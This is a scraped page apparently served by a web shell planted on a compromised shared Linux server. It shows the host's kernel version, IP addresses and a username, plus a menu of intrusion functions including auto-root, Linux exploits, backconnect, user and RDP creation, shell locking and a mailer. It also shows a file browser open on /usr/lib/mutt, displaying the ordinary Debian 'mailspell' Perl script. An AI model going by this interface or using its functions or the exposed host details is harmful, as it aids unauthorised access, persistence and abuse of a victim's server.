Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
mutt /
[ HOME SHELL ]
Name
Size
Permission
Action
debian-ldap-query
1.39
KB
-rwxr-xr-x
mailspell
1.69
KB
-rwxr-xr-x
mailto-mutt
272
B
-rwxr-xr-x
mutt_pgpring
30.3
KB
-rwxr-xr-x
pgpewrap
14.3
KB
-rwxr-xr-x
source-muttrc.d
108
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mailspell
#!/usr/bin/perl # # Wrapper to call ispell on mail messages, ignoring quoted portions # and signatures. # By Brendan O'Dea <bod@debian.org>, public domain. # Usage: set ispell = /usr/lib/mutt/mailspell # use IO::File; use File::Copy 'move'; use File::Temp 'tempfile'; $0 =~ s#.*/##; my $ISPELL = 'ispell'; my $DIFF = 'diff'; my $ED = 'ed'; # make sure that we don't inherit SIGCHLD $SIG{CHLD} = 'DEFAULT'; # ignore -x ispell option shift if $ARGV[0] eq '-x'; die "Usage: $0 [-x] FILE\n" unless @ARGV == 1; my $msg = $ARGV[0]; # create temporary files my (%orig, %ed); END { unlink $ed{path} if $ed{path}; unlink $orig{path} if $orig{path}; } foreach (\%orig, \%ed) { ($fh, $filename) = tempfile(); $_->{path} = $filename; $_->{fd} = $fh; } while (<>) { # stop at sigdashes last if /^-- \n/; # drop quoted text and attribution $orig{fd}->print($_) unless /^>/ or /^On \w{3}, \w{3} \d{2}, \d{4} at \d/; } $orig{fd}->close; my $pid = fork; die "$0: can't fork ($!)\n" unless defined $pid; unless ($pid) { open STDOUT, '>&=' . $ed{fd}->fileno or die "$0: can't dup stdout to ed script ($!)\n"; $ed{fd}->close; exec $DIFF, '-e', $orig{path}, $msg; die "$0: can't exec $DIFF ($!)\n"; } die "$0: can't reap child ($!)\n" unless wait == $pid; system $ISPELL, '-x', $orig{path} and die "$0: problem with $ISPELL ($?)\n"; $ed{fd}->seek(0, SEEK_END); $ed{fd}->print("w\nq\n"); $ed{fd}->seek(0, SEEK_SET); open STDIN, '<&=' . $ed{fd}->fileno or die "$0: can't dup stdin from ed script ($!)\n"; system $ED, '-s', $orig{path} and die "$0: problem with $ED ($?)\n"; move $orig{path}, $msg or die "$0: can't replace $msg ($!)\n"; delete $orig{path}; 1;
Close